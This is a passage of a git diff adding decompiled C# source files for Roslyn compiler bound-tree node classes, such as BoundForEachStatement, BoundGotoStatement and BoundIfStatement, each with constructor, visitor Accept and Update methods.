|| elementPointerPlaceholder.HasErrors() || elementPointerConversion.HasErrors() || expression.HasErrors()) + { + ElementPointerType = elementPointerType; + ElementPointerPlaceholder = elementPointerPlaceholder; + ElementPointerConversion = elementPointerConversion; + Expression = expression; + GetPinnableOpt = getPinnableOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitFixedLocalCollectionInitializer(this); + } + + public BoundFixedLocalCollectionInitializer Update(TypeSymbol elementPointerType, BoundValuePlaceholder? elementPointerPlaceholder, BoundExpression? elementPointerConversion, BoundExpression expression, MethodSymbol? getPinnableOpt, TypeSymbol type) + { + if (!TypeSymbol.Equals(elementPointerType, ElementPointerType, (TypeCompareKind)0) || elementPointerPlaceholder != ElementPointerPlaceholder || elementPointerConversion != ElementPointerConversion || expression != Expression || !SymbolEqualityComparer.ConsiderEverything.Equals(getPinnableOpt, GetPinnableOpt) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundFixedLocalCollectionInitializer boundFixedLocalCollectionInitializer = new BoundFixedLocalCollectionInitializer(Syntax, elementPointerType, elementPointerPlaceholder, elementPointerConversion, expression, getPinnableOpt, type, base.HasErrors); + boundFixedLocalCollectionInitializer.CopyAttributes(this); + return boundFixedLocalCollectionInitializer; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFixedStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFixedStatement.cs new file mode 100644 index 0000000..360e458 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFixedStatement.cs @@ -0,0 +1,41 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundFixedStatement : BoundStatement +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Declarations, (BoundNode)Body); + + public ImmutableArray Locals { get; } + + public BoundMultipleLocalDeclarations Declarations { get; } + + public BoundStatement Body { get; } + + public BoundFixedStatement(SyntaxNode syntax, ImmutableArray locals, BoundMultipleLocalDeclarations declarations, BoundStatement body, bool hasErrors = false) + : base(BoundKind.FixedStatement, syntax, hasErrors || declarations.HasErrors() || body.HasErrors()) + { + Locals = locals; + Declarations = declarations; + Body = body; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitFixedStatement(this); + } + + public BoundFixedStatement Update(ImmutableArray locals, BoundMultipleLocalDeclarations declarations, BoundStatement body) + { + if (locals != Locals || declarations != Declarations || body != Body) + { + BoundFixedStatement boundFixedStatement = new BoundFixedStatement(Syntax, locals, declarations, body, base.HasErrors); + boundFixedStatement.CopyAttributes(this); + return boundFixedStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundForEachDeconstructStep.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundForEachDeconstructStep.cs new file mode 100644 index 0000000..22511ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundForEachDeconstructStep.cs @@ -0,0 +1,34 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundForEachDeconstructStep : BoundNode +{ + public BoundDeconstructionAssignmentOperator DeconstructionAssignment { get; } + + public BoundDeconstructValuePlaceholder TargetPlaceholder { get; } + + public BoundForEachDeconstructStep(SyntaxNode syntax, BoundDeconstructionAssignmentOperator deconstructionAssignment, BoundDeconstructValuePlaceholder targetPlaceholder, bool hasErrors = false) + : base(BoundKind.ForEachDeconstructStep, syntax, hasErrors || deconstructionAssignment.HasErrors() || targetPlaceholder.HasErrors()) + { + DeconstructionAssignment = deconstructionAssignment; + TargetPlaceholder = targetPlaceholder; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitForEachDeconstructStep(this); + } + + public BoundForEachDeconstructStep Update(BoundDeconstructionAssignmentOperator deconstructionAssignment, BoundDeconstructValuePlaceholder targetPlaceholder) + { + if (deconstructionAssignment != DeconstructionAssignment || targetPlaceholder != TargetPlaceholder) + { + BoundForEachDeconstructStep boundForEachDeconstructStep = new BoundForEachDeconstructStep(Syntax, deconstructionAssignment, targetPlaceholder, base.HasErrors); + boundForEachDeconstructStep.CopyAttributes(this); + return boundForEachDeconstructStep; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundForEachStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundForEachStatement.cs new file mode 100644 index 0000000..bf21404 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundForEachStatement.cs @@ -0,0 +1,60 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundForEachStatement : BoundLoopStatement +{ + public ForEachEnumeratorInfo? EnumeratorInfoOpt { get; } + + public BoundValuePlaceholder? ElementPlaceholder { get; } + + public BoundExpression? ElementConversion { get; } + + public BoundTypeExpression IterationVariableType { get; } + + public ImmutableArray IterationVariables { get; } + + public BoundExpression? IterationErrorExpressionOpt { get; } + + public BoundExpression Expression { get; } + + public BoundForEachDeconstructStep? DeconstructionOpt { get; } + + public BoundAwaitableInfo? AwaitOpt { get; } + + public BoundStatement Body { get; } + + public BoundForEachStatement(SyntaxNode syntax, ForEachEnumeratorInfo? enumeratorInfoOpt, BoundValuePlaceholder? elementPlaceholder, BoundExpression? elementConversion, BoundTypeExpression iterationVariableType, ImmutableArray iterationVariables, BoundExpression? iterationErrorExpressionOpt, BoundExpression expression, BoundForEachDeconstructStep? deconstructionOpt, BoundAwaitableInfo? awaitOpt, BoundStatement body, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, bool hasErrors = false) + : base(BoundKind.ForEachStatement, syntax, breakLabel, continueLabel, hasErrors || elementPlaceholder.HasErrors() || elementConversion.HasErrors() || iterationVariableType.HasErrors() || iterationErrorExpressionOpt.HasErrors() || expression.HasErrors() || deconstructionOpt.HasErrors() || awaitOpt.HasErrors() || body.HasErrors()) + { + EnumeratorInfoOpt = enumeratorInfoOpt; + ElementPlaceholder = elementPlaceholder; + ElementConversion = elementConversion; + IterationVariableType = iterationVariableType; + IterationVariables = iterationVariables; + IterationErrorExpressionOpt = iterationErrorExpressionOpt; + Expression = expression; + DeconstructionOpt = deconstructionOpt; + AwaitOpt = awaitOpt; + Body = body; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitForEachStatement(this); + } + + public BoundForEachStatement Update(ForEachEnumeratorInfo? enumeratorInfoOpt, BoundValuePlaceholder? elementPlaceholder, BoundExpression? elementConversion, BoundTypeExpression iterationVariableType, ImmutableArray iterationVariables, BoundExpression? iterationErrorExpressionOpt, BoundExpression expression, BoundForEachDeconstructStep? deconstructionOpt, BoundAwaitableInfo? awaitOpt, BoundStatement body, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel) + { + if (enumeratorInfoOpt != EnumeratorInfoOpt || elementPlaceholder != ElementPlaceholder || elementConversion != ElementConversion || iterationVariableType != IterationVariableType || iterationVariables != IterationVariables || iterationErrorExpressionOpt != IterationErrorExpressionOpt || expression != Expression || deconstructionOpt != DeconstructionOpt || awaitOpt != AwaitOpt || body != Body || !SymbolEqualityComparer.ConsiderEverything.Equals(breakLabel, base.BreakLabel) || !SymbolEqualityComparer.ConsiderEverything.Equals(continueLabel, base.ContinueLabel)) + { + BoundForEachStatement boundForEachStatement = new BoundForEachStatement(Syntax, enumeratorInfoOpt, elementPlaceholder, elementConversion, iterationVariableType, iterationVariables, iterationErrorExpressionOpt, expression, deconstructionOpt, awaitOpt, body, breakLabel, continueLabel, base.HasErrors); + boundForEachStatement.CopyAttributes(this); + return boundForEachStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundForStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundForStatement.cs new file mode 100644 index 0000000..1204d99 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundForStatement.cs @@ -0,0 +1,48 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundForStatement : BoundLoopStatement +{ + public ImmutableArray OuterLocals { get; } + + public BoundStatement? Initializer { get; } + + public ImmutableArray InnerLocals { get; } + + public BoundExpression? Condition { get; } + + public BoundStatement? Increment { get; } + + public BoundStatement Body { get; } + + public BoundForStatement(SyntaxNode syntax, ImmutableArray outerLocals, BoundStatement? initializer, ImmutableArray innerLocals, BoundExpression? condition, BoundStatement? increment, BoundStatement body, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, bool hasErrors = false) + : base(BoundKind.ForStatement, syntax, breakLabel, continueLabel, hasErrors || initializer.HasErrors() || condition.HasErrors() || increment.HasErrors() || body.HasErrors()) + { + OuterLocals = outerLocals; + Initializer = initializer; + InnerLocals = innerLocals; + Condition = condition; + Increment = increment; + Body = body; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitForStatement(this); + } + + public BoundForStatement Update(ImmutableArray outerLocals, BoundStatement? initializer, ImmutableArray innerLocals, BoundExpression? condition, BoundStatement? increment, BoundStatement body, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel) + { + if (outerLocals != OuterLocals || initializer != Initializer || innerLocals != InnerLocals || condition != Condition || increment != Increment || body != Body || !SymbolEqualityComparer.ConsiderEverything.Equals(breakLabel, base.BreakLabel) || !SymbolEqualityComparer.ConsiderEverything.Equals(continueLabel, base.ContinueLabel)) + { + BoundForStatement boundForStatement = new BoundForStatement(Syntax, outerLocals, initializer, innerLocals, condition, increment, body, breakLabel, continueLabel, base.HasErrors); + boundForStatement.CopyAttributes(this); + return boundForStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFromEndIndexExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFromEndIndexExpression.cs new file mode 100644 index 0000000..a4473dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFromEndIndexExpression.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundFromEndIndexExpression : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Operand { get; } + + public MethodSymbol? MethodOpt { get; } + + public BoundFromEndIndexExpression(SyntaxNode syntax, BoundExpression operand, MethodSymbol? methodOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.FromEndIndexExpression, syntax, type, hasErrors || operand.HasErrors()) + { + Operand = operand; + MethodOpt = methodOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitFromEndIndexExpression(this); + } + + public BoundFromEndIndexExpression Update(BoundExpression operand, MethodSymbol? methodOpt, TypeSymbol type) + { + if (operand != Operand || !SymbolEqualityComparer.ConsiderEverything.Equals(methodOpt, MethodOpt) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundFromEndIndexExpression boundFromEndIndexExpression = new BoundFromEndIndexExpression(Syntax, operand, methodOpt, type, base.HasErrors); + boundFromEndIndexExpression.CopyAttributes(this); + return boundFromEndIndexExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFunctionPointerInvocation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFunctionPointerInvocation.cs new file mode 100644 index 0000000..a2fcfb7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFunctionPointerInvocation.cs @@ -0,0 +1,51 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Operations; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundFunctionPointerInvocation : BoundExpression, IBoundInvalidNode +{ + public FunctionPointerTypeSymbol FunctionPointer => (FunctionPointerTypeSymbol)InvokedExpression.Type; + + ImmutableArray IBoundInvalidNode.InvalidNodeChildren => CSharpOperationFactory.CreateInvalidChildrenFromArgumentsExpression(InvokedExpression, Arguments); + + protected override ImmutableArray Children => StaticCast.From(((IBoundInvalidNode)this).InvalidNodeChildren); + + public new TypeSymbol Type => base.Type; + + public BoundExpression InvokedExpression { get; } + + public ImmutableArray Arguments { get; } + + public ImmutableArray ArgumentRefKindsOpt { get; } + + public override LookupResultKind ResultKind { get; } + + public BoundFunctionPointerInvocation(SyntaxNode syntax, BoundExpression invokedExpression, ImmutableArray arguments, ImmutableArray argumentRefKindsOpt, LookupResultKind resultKind, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.FunctionPointerInvocation, syntax, type, hasErrors || invokedExpression.HasErrors() || arguments.HasErrors()) + { + InvokedExpression = invokedExpression; + Arguments = arguments; + ArgumentRefKindsOpt = argumentRefKindsOpt; + ResultKind = resultKind; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitFunctionPointerInvocation(this); + } + + public BoundFunctionPointerInvocation Update(BoundExpression invokedExpression, ImmutableArray arguments, ImmutableArray argumentRefKindsOpt, LookupResultKind resultKind, TypeSymbol type) + { + if (invokedExpression != InvokedExpression || arguments != Arguments || argumentRefKindsOpt != ArgumentRefKindsOpt || resultKind != ResultKind || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundFunctionPointerInvocation boundFunctionPointerInvocation = new BoundFunctionPointerInvocation(Syntax, invokedExpression, arguments, argumentRefKindsOpt, resultKind, type, base.HasErrors); + boundFunctionPointerInvocation.CopyAttributes(this); + return boundFunctionPointerInvocation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFunctionPointerLoad.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFunctionPointerLoad.cs new file mode 100644 index 0000000..3b73b5a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFunctionPointerLoad.cs @@ -0,0 +1,44 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundFunctionPointerLoad : BoundExpression +{ + public MethodSymbol TargetMethod { get; } + + public TypeSymbol? ConstrainedToTypeOpt { get; } + + public new TypeSymbol Type => base.Type; + + public BoundFunctionPointerLoad(SyntaxNode syntax, MethodSymbol targetMethod, TypeSymbol? constrainedToTypeOpt, TypeSymbol type, bool hasErrors) + : base(BoundKind.FunctionPointerLoad, syntax, type, hasErrors) + { + TargetMethod = targetMethod; + ConstrainedToTypeOpt = constrainedToTypeOpt; + } + + public BoundFunctionPointerLoad(SyntaxNode syntax, MethodSymbol targetMethod, TypeSymbol? constrainedToTypeOpt, TypeSymbol type) + : base(BoundKind.FunctionPointerLoad, syntax, type) + { + TargetMethod = targetMethod; + ConstrainedToTypeOpt = constrainedToTypeOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitFunctionPointerLoad(this); + } + + public BoundFunctionPointerLoad Update(MethodSymbol targetMethod, TypeSymbol? constrainedToTypeOpt, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(targetMethod, TargetMethod) || !TypeSymbol.Equals(constrainedToTypeOpt, ConstrainedToTypeOpt, (TypeCompareKind)0) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundFunctionPointerLoad boundFunctionPointerLoad = new BoundFunctionPointerLoad(Syntax, targetMethod, constrainedToTypeOpt, type, base.HasErrors); + boundFunctionPointerLoad.CopyAttributes(this); + return boundFunctionPointerLoad; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundGlobalStatementInitializer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundGlobalStatementInitializer.cs new file mode 100644 index 0000000..fa99a48 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundGlobalStatementInitializer.cs @@ -0,0 +1,31 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundGlobalStatementInitializer : BoundInitializer +{ + public BoundStatement Statement { get; } + + public BoundGlobalStatementInitializer(SyntaxNode syntax, BoundStatement statement, bool hasErrors = false) + : base(BoundKind.GlobalStatementInitializer, syntax, hasErrors || statement.HasErrors()) + { + Statement = statement; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitGlobalStatementInitializer(this); + } + + public BoundGlobalStatementInitializer Update(BoundStatement statement) + { + if (statement != Statement) + { + BoundGlobalStatementInitializer boundGlobalStatementInitializer = new BoundGlobalStatementInitializer(Syntax, statement, base.HasErrors); + boundGlobalStatementInitializer.CopyAttributes(this); + return boundGlobalStatementInitializer; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundGotoStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundGotoStatement.cs new file mode 100644 index 0000000..db09da9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundGotoStatement.cs @@ -0,0 +1,43 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundGotoStatement : BoundStatement +{ + public LabelSymbol Label { get; } + + public BoundExpression? CaseExpressionOpt { get; } + + public BoundLabel? LabelExpressionOpt { get; } + + public BoundGotoStatement(SyntaxNode syntax, LabelSymbol label, bool hasErrors = false) + : this(syntax, label, null, null, hasErrors) + { + } + + public BoundGotoStatement(SyntaxNode syntax, LabelSymbol label, BoundExpression? caseExpressionOpt, BoundLabel? labelExpressionOpt, bool hasErrors = false) + : base(BoundKind.GotoStatement, syntax, hasErrors || caseExpressionOpt.HasErrors() || labelExpressionOpt.HasErrors()) + { + Label = label; + CaseExpressionOpt = caseExpressionOpt; + LabelExpressionOpt = labelExpressionOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitGotoStatement(this); + } + + public BoundGotoStatement Update(LabelSymbol label, BoundExpression? caseExpressionOpt, BoundLabel? labelExpressionOpt) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(label, Label) || caseExpressionOpt != CaseExpressionOpt || labelExpressionOpt != LabelExpressionOpt) + { + BoundGotoStatement boundGotoStatement = new BoundGotoStatement(Syntax, label, caseExpressionOpt, labelExpressionOpt, base.HasErrors); + boundGotoStatement.CopyAttributes(this); + return boundGotoStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundHoistedFieldAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundHoistedFieldAccess.cs new file mode 100644 index 0000000..4fa3b78 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundHoistedFieldAccess.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundHoistedFieldAccess : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public FieldSymbol FieldSymbol { get; } + + public BoundHoistedFieldAccess(SyntaxNode syntax, FieldSymbol fieldSymbol, TypeSymbol type, bool hasErrors) + : base(BoundKind.HoistedFieldAccess, syntax, type, hasErrors) + { + FieldSymbol = fieldSymbol; + } + + public BoundHoistedFieldAccess(SyntaxNode syntax, FieldSymbol fieldSymbol, TypeSymbol type) + : base(BoundKind.HoistedFieldAccess, syntax, type) + { + FieldSymbol = fieldSymbol; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitHoistedFieldAccess(this); + } + + public BoundHoistedFieldAccess Update(FieldSymbol fieldSymbol, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(fieldSymbol, FieldSymbol) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundHoistedFieldAccess boundHoistedFieldAccess = new BoundHoistedFieldAccess(Syntax, fieldSymbol, type, base.HasErrors); + boundHoistedFieldAccess.CopyAttributes(this); + return boundHoistedFieldAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundHostObjectMemberReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundHostObjectMemberReference.cs new file mode 100644 index 0000000..d258185 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundHostObjectMemberReference.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundHostObjectMemberReference : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundHostObjectMemberReference(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.HostObjectMemberReference, syntax, type, hasErrors) + { + } + + public BoundHostObjectMemberReference(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.HostObjectMemberReference, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitHostObjectMemberReference(this); + } + + public BoundHostObjectMemberReference Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundHostObjectMemberReference boundHostObjectMemberReference = new BoundHostObjectMemberReference(Syntax, type, base.HasErrors); + boundHostObjectMemberReference.CopyAttributes(this); + return boundHostObjectMemberReference; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundITuplePattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundITuplePattern.cs new file mode 100644 index 0000000..3d9e087 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundITuplePattern.cs @@ -0,0 +1,39 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundITuplePattern : BoundPattern +{ + public MethodSymbol GetLengthMethod { get; } + + public MethodSymbol GetItemMethod { get; } + + public ImmutableArray Subpatterns { get; } + + public BoundITuplePattern(SyntaxNode syntax, MethodSymbol getLengthMethod, MethodSymbol getItemMethod, ImmutableArray subpatterns, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(BoundKind.ITuplePattern, syntax, inputType, narrowedType, hasErrors || subpatterns.HasErrors()) + { + GetLengthMethod = getLengthMethod; + GetItemMethod = getItemMethod; + Subpatterns = subpatterns; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitITuplePattern(this); + } + + public BoundITuplePattern Update(MethodSymbol getLengthMethod, MethodSymbol getItemMethod, ImmutableArray subpatterns, TypeSymbol inputType, TypeSymbol narrowedType) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(getLengthMethod, GetLengthMethod) || !SymbolEqualityComparer.ConsiderEverything.Equals(getItemMethod, GetItemMethod) || subpatterns != Subpatterns || !TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundITuplePattern boundITuplePattern = new BoundITuplePattern(Syntax, getLengthMethod, getItemMethod, subpatterns, inputType, narrowedType, base.HasErrors); + boundITuplePattern.CopyAttributes(this); + return boundITuplePattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIfStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIfStatement.cs new file mode 100644 index 0000000..1f4f184 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIfStatement.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundIfStatement : BoundStatement +{ + public BoundExpression Condition { get; } + + public BoundStatement Consequence { get; } + + public BoundStatement? AlternativeOpt { get; } + + public BoundIfStatement(SyntaxNode syntax, BoundExpression condition, BoundStatement consequence, BoundStatement? alternativeOpt, bool hasErrors = false) + : base(BoundKind.IfStatement, syntax, hasErrors || condition.HasErrors() || consequence.HasErrors() || alternativeOpt.HasErrors()) + { + Condition = condition; + Consequence = consequence; + AlternativeOpt = alternativeOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitIfStatement(this); + } + + public BoundIfStatement Update(BoundExpression condition, BoundStatement consequence, BoundStatement? alternativeOpt) + { + if (condition != Condition || consequence != Consequence || alternativeOpt != AlternativeOpt) + { + BoundIfStatement boundIfStatement = new BoundIfStatement(Syntax, condition, consequence, alternativeOpt, base.HasErrors); + boundIfStatement.CopyAttributes(this); + return boundIfStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitIndexerAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitIndexerAccess.cs new file mode 100644 index 0000000..d679d70 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitIndexerAccess.cs @@ -0,0 +1,62 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundImplicitIndexerAccess : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Receiver, (BoundNode)Argument); + + public new TypeSymbol Type => base.Type; + + public BoundExpression Receiver { get; } + + public BoundExpression Argument { get; } + + public BoundExpression LengthOrCountAccess { get; } + + public BoundImplicitIndexerReceiverPlaceholder ReceiverPlaceholder { get; } + + public BoundExpression IndexerOrSliceAccess { get; } + + public ImmutableArray ArgumentPlaceholders { get; } + + internal BoundImplicitIndexerAccess WithLengthOrCountAccess(BoundExpression lengthOrCountAccess) + { + return Update(Receiver, Argument, lengthOrCountAccess, ReceiverPlaceholder, IndexerOrSliceAccess, ArgumentPlaceholders, Type); + } + + public BoundImplicitIndexerAccess(SyntaxNode syntax, BoundExpression receiver, BoundExpression argument, BoundExpression lengthOrCountAccess, BoundImplicitIndexerReceiverPlaceholder receiverPlaceholder, BoundExpression indexerOrSliceAccess, ImmutableArray argumentPlaceholders, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ImplicitIndexerAccess, syntax, type, hasErrors || receiver.HasErrors() || argument.HasErrors() || lengthOrCountAccess.HasErrors() || receiverPlaceholder.HasErrors() || indexerOrSliceAccess.HasErrors() || argumentPlaceholders.HasErrors()) + { + Receiver = receiver; + Argument = argument; + LengthOrCountAccess = lengthOrCountAccess; + ReceiverPlaceholder = receiverPlaceholder; + IndexerOrSliceAccess = indexerOrSliceAccess; + ArgumentPlaceholders = argumentPlaceholders; + } + + [Conditional("DEBUG")] + private void Validate() + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitImplicitIndexerAccess(this); + } + + public BoundImplicitIndexerAccess Update(BoundExpression receiver, BoundExpression argument, BoundExpression lengthOrCountAccess, BoundImplicitIndexerReceiverPlaceholder receiverPlaceholder, BoundExpression indexerOrSliceAccess, ImmutableArray argumentPlaceholders, TypeSymbol type) + { + if (receiver != Receiver || argument != Argument || lengthOrCountAccess != LengthOrCountAccess || receiverPlaceholder != ReceiverPlaceholder || indexerOrSliceAccess != IndexerOrSliceAccess || 